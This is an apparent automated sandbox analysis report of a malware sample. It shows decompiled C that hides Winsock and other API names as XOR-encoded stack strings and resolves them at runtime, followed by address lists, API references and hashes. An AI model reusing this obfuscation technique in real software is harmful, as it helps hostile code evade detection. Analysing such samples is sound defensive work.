						__ecx =  &_a304;
						_a304 = 0x57;
						_a305 = 0x53;
						_a306 = 0x41;
						_a307 = 0x52;
						_a308 = 0x65;
						_a309 = 0x63;
						_a310 = 0x76;
						_a311 = 0;
						__eax = GetProcAddress(__edi, __ecx);
						 *0x431eec = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							__edx =  &_a312;
							_a312 = 0x57;
							_a313 = 0x53;
							_a314 = 0x41;
							_a315 = 0x53;
							_a316 = 0x65;
							_a317 = 0x6e;
							_a318 = 0x64;
							_a319 = 0;
							__eax = GetProcAddress(__edi,  &_a312);
							 *0x431ef0 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a189 = __bl;
								__bl = 0x2d;
								_a176 = 0x6b;
								_a177 = 0x54;
								_a178 = 0x51;
								_a179 = 0xe0;
								_a180 = 0xe1;
								_a181 = 0x4a;
								_a182 = 0x93;
								_a183 = 0x9e;
								_a184 = 0x41;
								_a185 = 0x69;
								_a186 = 0xf9;
								_a187 = 0xc8;
								_a188 = 0x34;
								_a190 = 0xf0;
								_a191 = 0x34;
								_a192 = 0x34;
								_a193 = 0xbc;
								_a194 = 0x28;
								_a195 = 0xac;
								_a196 = 0xd;
								_a197 = 0x2d;
								_a198 = 0xa6;
								_a16 = 0x3c;
								_a17 = 7;
								_a18 = 0x10;
								_a19 = 0xa7;
								_a20 = 0x84;
								_a21 = 0x3e;
								_a22 = 0xdc;
								_a23 = 0xe8;
								_a24 = 0x24;
								_a25 = 0x1b;
								_a26 = 0x95;
								_a27 = 0xa9;
								_a28 = 0x44;
								_a29 = 0xe0;
								_a30 = 0x95;
								_a31 = 0x50;
								_a32 = 0x66;
								_a33 = 0xd9;
								_a34 = 0x5b;
								_a35 = 0xd9;
								_a36 = 0x61;
								_a37 = 0x59;
								_a38 = 0xa6;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
									__eax =  &(__eax[1]);
								} while (__eax < 0x17);
								__edx =  &_a176;
								__eax = GetProcAddress(__edi,  &_a176);
								 *0x431ef4 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__eax =  &_a108;
									__ecx =  &_a40;
									__edx = 0xc;
									_a108 = 0x53;
									_a109 = 0x8b;
									_a110 = 0xbe;
									_a111 = 0xec;
									_a112 = 0xbe;
									_a113 = 0x6c;
									_a114 = 0x99;
									_a115 = 0x48;
									_a116 = 0x4e;
									_a117 = 0x30;
									_a118 = 0x6a;
									_a119 = 0xa4;
									_a40 = 0x21;
									_a41 = 0x76;
									_a42 = 0x1f;
									_a43 = 0x71;
									_a44 = 0x18;
									_a45 = 0x76;
									_a46 = 0x13;
									_a47 = 0x67;
									_a48 = 0x49;
									_a49 = 0x2d;
									_a50 = 0x41;
									_a51 = 0x2d;
									__eax = E0041C4C0( &_a40, 0xc,  &_a108);
									__edi = __eax;
									__eax = 0;
									if(__edi == 0) {
										L34:
										__ecx = _a336;
										_pop(__edi);
										__eax = E00424873(__eax, _a336);
										__esp = __esp + 0x144;
										return __eax;
									} else {
										_a176 = 0xd3;
										_a177 = 0xf4;
										_a178 = 0xee;
										_a179 = 0xff;
										_a180 = 0xe8;
										_a181 = 0xf4;
										_a182 = 0xff;
										_a183 = 0xee;
										_a184 = 0xdd;
										_a185 = 0xff;
										_a186 = 0xee;
										_a187 = 0xd9;
										_a188 = 0xf5;
										_a189 = 0xf4;
										_a190 = 0xf4;
										_a191 = 0xff;
										_a192 = 0xf9;
										_a193 = 0xee;
										_a194 = 0xff;
										_a195 = 0xfe;
										_a196 = 0xc9;
										_a197 = 0xee;
										_a198 = 0xfb;
										_a199 = 0xee;
										_a200 = 0xff;
										_a201 = 0x9a;
										do {
											 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
											__eax =  &(__eax[1]);
										} while (__eax < 0x1a);
										__ecx =  &_a176;
										__eax = GetProcAddress(__edi, __ecx);
										 *0x431ef8 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a40 = 0xec;
											_a41 = 0xcb;
											_a42 = 0xd1;
											_a43 = 0xc0;
											_a44 = 0xd7;
											_a45 = 0xcb;
											_a46 = 0xc0;
											_a47 = 0xd1;
											_a48 = 0xea;
											_a49 = 0xd5;
											_a50 = 0xc0;
											_a51 = 0xcb;
											_a52 = 0xe4;
											_a53 = 0xa5;
											__eax = 0;
											do {
												 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
												__eax =  &(__eax[1]);
											} while (__eax < 0xe);
											__edx =  &_a40;
											__eax = GetProcAddress(__edi,  &_a40);
											 *0x431efc = __eax;
											if(__eax == 0) {
												goto L1;
											} else {
												_a56 = 0xa3;
												_a57 = 0x84;
												_a58 = 0x9e;
												_a59 = 0x8f;
												_a60 = 0x98;
												_a61 = 0x84;
												_a62 = 0x8f;
												_a63 = 0x9e;
												_a64 = 0xa5;
												_a65 = 0x9a;
												_a66 = 0x8f;
												_a67 = 0x84;
												_a68 = 0xbf;
												_a69 = 0x98;
												_a70 = 0x86;
												_a71 = 0xab;
												_a72 = 0xea;
												__eax = 0;
												do {
													 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
													__eax =  &(__eax[1]);
												} while (__eax < 0x11);
												__eax =  &_a56;
												__eax = GetProcAddress(__edi,  &_a56);
												 *0x431f00 = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__bl = 0x9f;
													_a76 = 0x88;
													_a77 = 0x43;
													_a78 = 0xfc;
													_a79 = 0x99;
													_a80 = 0xa6;
													_a81 = 0x58;
													_a82 = 0x6a;
													_a83 = 0xe2;
													_a84 = 0xbe;
													_a85 = 0x9f;
													_a86 = 0x20;
													_a87 = 0xed;
													_a88 = 0x35;
													_a89 = 0xb4;
													_a90 = 0x34;
													_a91 = 0xfa;
													_a92 = 0xe7;
													_a120 = 0xc1;
													_a121 = 0x2b;
													_a122 = 0x78;
													_a123 = 0xcc;
													_a124 = 0xcc;
													_a125 = 0x16;
													_a126 = 0xfb;
													_a127 = 0x92;
													_a128 = 0x94;
													_a129 = 0xc6;
													_a130 = 0x41;
													_a131 = 0x77;
													_a132 = 0x11;
													_a133 = 0xb5;
													_a134 = 0x38;
													_a135 = 0x6b;
													_a136 = 0x19;
													__eax = 0;
													do {
														 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
														__eax =  &(__eax[1]);
													} while (__eax < 0x11);
													__edx =  &_a76;
													__eax = GetProcAddress(__edi,  &_a76);
													 *0x431f04 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														_a220 = 0x56;
														_a130 = 0x56;
														__eax =  &_a216;
														__ecx =  &_a120;
														__edx = 0x14;
														_a216 = 6;
														_a217 = 0x36;
														_a218 = 0xb9;
														_a219 = 0x60;
														_a221 = 1;
														_a222 = 0x32;
														_a223 = 0x3e;
														_a224 = 0xcb;
														_a225 = 0x26;
														_a226 = 0xf;
														_a227 = 0xa5;
														_a228 = 1;
														_a229 = 0xa3;
														_a230 = 0x3c;
														_a231 = 0xd2;
														_a232 = 0x72;
														_a233 = 0x9f;
														_a234 = 0x9a;
														_a235 = 0xed;
														_a120 = 0x42;
														_a121 = 0xb;
														_a122 = 0x65;
														_a123 = 0x11;
														_a124 = 0x74;
														_a125 = 6;
														_a126 = 0x68;
														_a127 = 0xd;
														_a128 = 0x79;
														_a129 = 0x3a;
														_a131 = 0x39;
														_a132 = 0x4a;
														_a133 = 0x2f;
														_a134 = 0x67;
														_a135 = 6;
														_a136 = 0x68;
														_a137 = 0xc;
														_a138 = 0x60;
														_a139 = 5;
														__eax = E0041C4C0(__ecx, 0x14,  &_a216);
														__eax = GetProcAddress(__edi, __eax);
														 *0x431f08 = __eax;
														if(__eax == 0) {
															goto L1;
														} else {
															_a96 = 0x40;
															_a97 = 0xec;
															_a98 = 0xfc;
															_a99 = 0xa;
															_a100 = 0xe1;
															_a101 = 0x80;
															_a102 = 0x93;
															_a103 = 0xb7;
															_a104 = 0xf4;
															_a105 = 0xba;
															_a106 = 0xb0;
															_a40 = 0x24;
															_a41 = 0x82;
															_a42 = 0x77;
															_a43 = 0x57;
															_a44 = 0x8f;
															_a45 = 0xe9;
															_a46 = 0x9b;
															_a47 = 0xad;
															_a48 = 0x78;
															_a49 = 0xb2;
															_a50 = 0x50;
															__eax = 0;
															do {
																 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																__eax =  &(__eax[1]);
															} while (__eax < 0xb);
															__edx =  &_a96;
															__edi = LoadLibraryA( &_a96);
															__eax = 0;
															if(__edi == 0) {
																goto L34;
															} else {
																_a140 = 0xce;
																_a141 = 0xe4;
																_a142 = 0xf9;
																_a143 = 0xdb;
																_a144 = 0xff;
																_a145 = 0xef;
																_a146 = 0xf8;
																_a147 = 0xf3;
																_a148 = 0xd5;
																_a149 = 0xcb;
																_a150 = 0x8a;
																do {
																	 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
																	__eax =  &(__eax[1]);
																} while (__eax < 0xb);
																__eax =  &_a140;
																__eax = GetProcAddress(__edi,  &_a140);
																 *0x431f0c = __eax;
																if(__eax == 0) {
																	goto L1;
																} else {
																	__ecx =  &_a56;
																	_push(0x12);
																	__bl = 0xde;
																	_push( &_a56);
																	__eax =  &_a76;
																	_a56 = 0x2b;
																	_a57 = 0x7e;
																	_a58 = 0x14;
																	_a59 = 0xc5;
																	_a60 = 0x31;
																	_a61 = 0x22;
																	_a62 = 0x49;
																	_a63 = 0xdc;
																	_a64 = 0xd8;
																	_a65 = 0x8b;
																	_a66 = 0xed;
																	_a67 = 0x54;
																	_a68 = 0xbb;
																	_a69 = 0xba;
																	_a70 = 0x48;
																	_a71 = 0xbb;
																	_a72 = 0xa1;
																	_a73 = 0x26;
																	_a76 = 0x26;
																	_a77 = 0xc4;
																	_a78 = 0xde;
																	_a79 = 0x3a;
																	_a80 = 0xfc;
																	_a81 = 0xcf;
																	_a82 = 0x27;
																	_a83 = 0x84;
																	_a84 = 0xc7;
																	_a85 = 0xbc;
																	_a86 = 0xae;
																	_a87 = 0x26;
																	_a88 = 0x41;
																	_a89 = 0x54;
																	_a90 = 0x97;
																	_a91 = 0x67;
																	_a92 = 0x10;
																	_a93 = 0x6f;
																	__eax = E0041C580( &_a76);
																	__esp = __esp + 8;
																	__eax = GetProcAddress(__edi, __eax);
																	 *0x431f10 = __eax;
																	if(__eax == 0) {
																		goto L1;
																	} else {
																		__edx =  &_a40;
																		__ecx =  &_a164;
																		__edx = 0xb;
																		_a40 = 0x6d;
																		_a41 = 0x96;
																		_a42 = 0x80;
																		_a43 = 6;
																		_a44 = 0xa9;
																		_a45 = 0x60;
																		_a46 = 0x53;
																		_a47 = 0xb;
																		_a48 = 0xec;
																		_a49 = 0xb1;
																		_a50 = 0xd3;
																		_a164 = 0xc8;
																		_a165 = 0x9d;
																		_a166 = 0xee;
																		_a167 = 0x8b;
																		_a168 = 0xf9;
																		_a169 = 0xca;
																		_a170 = 0xf8;
																		_a171 = 0xd6;
																		_a172 = 0x92;
																		_a173 = 0xde;
																		_a174 = 0x92;
																		__eax = E0041C4C0(__ecx, 0xb,  &_a40);
																		__eax = LoadLibraryA(__eax);
																		__edi = __eax;
																		if(__edi == 0) {
																			goto L1;
																		} else {
																			__eax =  &_a152;
																			_push(0xa);
																			_push( &_a152);
																			__eax =  &_a204;
																			_a152 = 0x37;
																			_a153 = 0x3b;
																			_a154 = 0x8f;
																			_a155 = 0x69;
																			_a156 = 0x24;
																			_a157 = 0x7f;
																			_a158 = 0x60;
																			_a159 = 0xe9;
																			_a160 = 0xec;
																			_a161 = 0x4c;
																			_a204 = 0x4c;
																			_a205 = 0xad;
																			_a206 = 0x8f;
																			_a207 = 0x14;
																			_a208 = 0x11;
																			_a209 = 0x4d;
																			_a210 = 0x1b;
																			_a211 = 0xff;
																			_a212 = 0x48;
																			_a213 = 0x40;
																			__eax = E0041C580( &_a204);
																			__esp = __esp + 8;
																			__eax = GetProcAddress(__edi, __eax);
																			 *0x431f14 = __eax;
																			if(__eax == 0) {
																				goto L1;
																			} else {
																				__ecx =  &_a56;
																				__ecx =  &_a76;
																				__edx = 0x12;
																				_a56 = 0x75;
																				_a57 = 6;
																				_a58 = 0xcc;
																				_a59 = 0x8b;
																				_a60 = 0x4c;
																				_a61 = 0xb8;
																				_a62 = 0x36;
																				_a63 = 0x4d;
																				_a64 = 0x1e;
																				_a65 = 0x53;
																				_a66 = 0xb7;
																				_a67 = 0x58;
																				_a68 = 0xd4;
																				_a69 = 0xa5;
																				_a70 = 0xf1;
																				_a71 = 0xd3;
																				_a72 = 0x12;
																				_a73 = 0x39;
																				_a76 = 0x4a;
																				_a77 = 0x19;
																				_a78 = 0x7c;
																				_a79 = 8;
																				_a80 = 0x5f;
																				_a81 = 0x36;
																				_a82 = 0x58;
																				_a83 = 0x3c;
																				_a84 = 0x53;
																				_a85 = 0x24;
																				_a86 = 0x57;
																				_a87 = 0x1f;
																				_a88 = 0x70;
																				_a89 = 0x1f;
																				_a90 = 0x74;
																				_a91 = 0x31;
																				_a92 = 0x49;
																				_a93 = 8;
																				__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																				__eax = GetProcAddress(__edi, __eax);
																				__edx = 0;
																				_t471 = __eax != 0;
																				__edx = 0 | _t471;
																				 *0x431f18 = __eax;
																				__eax = _t471;
																				goto L34;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d160
0x0041d174
0x0041d188
0x0041d195
0x0041d19c
0x0041d19f
0x0041d1a4
0x0041d1ad
0x0041d1b1
0x0041d1b6
0x0041c80f
0x0041c827
0x0041d1bc
0x0041d1bc
0x0041d1c3
0x0041d1c5
0x0041d1c6
0x0041d1ca
0x0041d1d2
0x0041d1da
0x0041d1e2
0x0041d1ea
0x0041d1f2
0x0041d1fa
0x0041d202
0x0041d20a
0x0041d212
0x0041d21a
0x0041d222
0x0041d22a
0x0041d232
0x0041d23a
0x0041d23f
0x0041d244
0x0041d249
0x0041d24e
0x0041d253
0x0041d258
0x0041d25d
0x0041d262
0x0041d267
0x0041d26c
0x0041d271
0x0041d276
0x0041d27b
0x0041d280
0x0041d285
0x0041d28a
0x0041d28e
0x0041d293
0x00000000
0x0041d299
0x0041d299
0x0041d2a2
0x0041d2aa
0x0041d2b2
0x0041d2ba
0x0041d2c2
0x0041d2ca
0x0041d2d2
0x0041d2da
0x0041d2e2
0x0041d2e6
0x0041d2eb
0x00000000
0x0041d2f1
0x0041d2f1
0x0041d2fa
0x0041d302
0x0041d30a
0x0041d312
0x0041d31a
0x0041d322
0x0041d32a
0x0041d332
0x0041d33a
0x0041d33e
0x0041d343
0x00000000
0x0041d349
0x0041d349
0x0041d350
0x0041d352
0x0041d35a
0x0041d362
0x0041d36a
0x0041d372
0x0041d37a
0x0041d382
0x0041d38a
0x0041d392
0x0041d39a
0x0041d3a2
0x0041d3aa
0x0041d3b2
0x0041d3ba
0x0041d3c2
0x0041d3ca
0x0041d3d2
0x0041d3da
0x0041d3e2
0x0041d3ea
0x0041d3f2
0x0041d3f9
0x0041d401
0x0041d406
0x0041d40b
0x0041d410
0x0041d415
0x0041d41a
0x0041d41f
0x0041d424
0x0041d429
0x0041d42e
0x0041d433
0x0041d438
0x0041d43d
0x0041d442
0x0041d447
0x0041d44c
0x0041d451
0x0041d456
0x0041d45b
0x0041d460
0x0041d465
0x0041d46a
0x0041d46f
0x0041d474
0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a7
0x0041d4ac
0x00000000
0x0041d4b2
0x0041d4b2
0x0041d4b7
0x0041d4bb
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d541
0x0041d543
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d831
0x0041d835
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d967
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x00000000
0x0041ddc7
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547
0x0041d4ac
0x0041d343
0x0041d2eb
0x0041d293

APIs

GetProcAddress.KERNEL32(00000000,00000032), ref: 0041D1AD
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D28A
GetProcAddress.KERNEL32 ref: 0041D2E2
GetProcAddress.KERNEL32(00000000), ref: 0041D33A
GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

I, xrefs: 0041DDA5
H, xrefs: 0041D4E3
n, xrefs: 0041D322
e, xrefs: 0041D8DB
S, xrefs: 0041DD7D
#, xrefs: 0041D1CA
a, xrefs: 0041D465
I, xrefs: 0041DAC1
D, xrefs: 0041D43D
4, xrefs: 0041D3B2
+, xrefs: 0041D782
h, xrefs: 0041D93D
;, xrefs: 0041DC3C
R, xrefs: 0041D2BA
y, xrefs: 0041D905
g, xrefs: 0041DB47
&, xrefs: 0041D87A
v, xrefs: 0041D2D2
w, xrefs: 0041D9B7
J, xrefs: 0041DD55
f, xrefs: 0041D451
4, xrefs: 0041D3C2
4, xrefs: 0041D3CA
m, xrefs: 0041DB80
[, xrefs: 0041D45B
@, xrefs: 0041DCCC
T, xrefs: 0041DB3D
N, xrefs: 0041D4E8
e, xrefs: 0041D31A
Q, xrefs: 0041D362
Y, xrefs: 0041D46A
I, xrefs: 0041D524
&, xrefs: 0041DAF8
$, xrefs: 0041D429
1, xrefs: 0041DDA0
:, xrefs: 0041D90D
S, xrefs: 0041DB9E
M, xrefs: 0041DCAC
>, xrefs: 0041D86A
l, xrefs: 0041D4D9
>, xrefs: 0041D41A
X, xrefs: 0041DD73
9, xrefs: 0041D915
<, xrefs: 0041D8A2
q, xrefs: 0041D50B
W, xrefs: 0041D2FA
(, xrefs: 0041D3DA
t, xrefs: 0041DD9B
`, xrefs: 0041DC64
S, xrefs: 0041D302
$, xrefs: 0041DC54
x, xrefs: 0041D9D5
_, xrefs: 0041DD69
S, xrefs: 0041D2AA
/, xrefs: 0041D925
`, xrefs: 0041DB99
W, xrefs: 0041DD87
A, xrefs: 0041D2B2
~, xrefs: 0041DAA8
7, xrefs: 0041DC34
9, xrefs: 0041DD50
S, xrefs: 0041D4C0
8, xrefs: 0041D7D5
g, xrefs: 0041D92D
x, xrefs: 0041D787
_, xrefs: 0041D20A
W, xrefs: 0041D2A2
k, xrefs: 0041D352
h, xrefs: 0041D8F5
|, xrefs: 0041DD5F
t, xrefs: 0041D271
S, xrefs: 0041DD28
<, xrefs: 0041D401
t, xrefs: 0041D8E5
T, xrefs: 0041D35A
e, xrefs: 0041D2C2
w, xrefs: 0041D7BD
1, xrefs: 0041DAB7
`, xrefs: 0041D94D
J, xrefs: 0041D37A
S, xrefs: 0041D312
J, xrefs: 0041D91D
i, xrefs: 0041DC4C
$, xrefs: 0041D9AD
6, xrefs: 0041DD6E
<, xrefs: 0041DD78
A, xrefs: 0041D52D
6, xrefs: 0041DD19
M, xrefs: 0041DD1E
p, xrefs: 0041DD91
H, xrefs: 0041DCC4
T, xrefs: 0041DADA
L, xrefs: 0041DC84
d, xrefs: 0041D32A
$, xrefs: 0041DD82
g, xrefs: 0041D51F
v, xrefs: 0041D501
u, xrefs: 0041DCFB
c, xrefs: 0041D2CA
P, xrefs: 0041D44C
A, xrefs: 0041D392
o, xrefs: 0041DB51
i, xrefs: 0041D39A
A, xrefs: 0041D30A
L, xrefs: 0041DC7C
B, xrefs: 0041D8D1
L, xrefs: 0041DD0F
x, xrefs: 0041D267
W, xrefs: 0041D9BC
|, xrefs: 0041D244
X, xrefs: 0041DD32
2, xrefs: 0041D862
r, xrefs: 0041D8B2
H, xrefs: 0041DAE9
., xrefs: 0041D249
`, xrefs: 0041D852

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$$$$$$$$$&$&$($+$.$/$1$1$2$4$4$4$6$6$7$8$9$9$:$;$<$<$<$>$>$@$A$A$A$A$B$D$H$H$H$I$I$I$J$J$J$L$L$L$M$M$N$P$Q$R$S$S$S$S$S$S$S$T$T$T$W$W$W$W$X$X$Y$[$_$_$`$`$`$`$a$c$d$e$e$e$f$g$g$g$h$h$i$i$k$l$m$n$o$p$q$r$t$t$t$u$v$v$w$w$x$x$x$y$|$|$~
API String ID: 2238633743-1057226733
Opcode ID: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction ID: 2d7c54381bbd094f02955be387350197a3f66cd921c6525618d4a2725f5bc4d0
Opcode Fuzzy Hash: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction Fuzzy Hash: 5B829A2000C7C2C9D332C67C584879FBFD51BA7228F584B9DE1E95A2E2D7A9814AC777

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0, Relevance: 210.9, APIs: 14, Strings: 126, Instructions: 925
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E0040C8E0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				intOrPtr _t614;
				char _t615;
				int _t620;
				intOrPtr _t627;
				char _t635;
				signed int _t640;
				void* _t647;
				void* _t652;
				void* _t671;
				intOrPtr _t672;
				void* _t679;
				void* _t684;
				intOrPtr _t685;
				signed int _t702;
				void* _t707;
				intOrPtr _t708;
				intOrPtr _t714;
				int _t717;
				void* _t723;
				intOrPtr _t724;
				void* _t727;
				intOrPtr _t728;
				void* _t738;
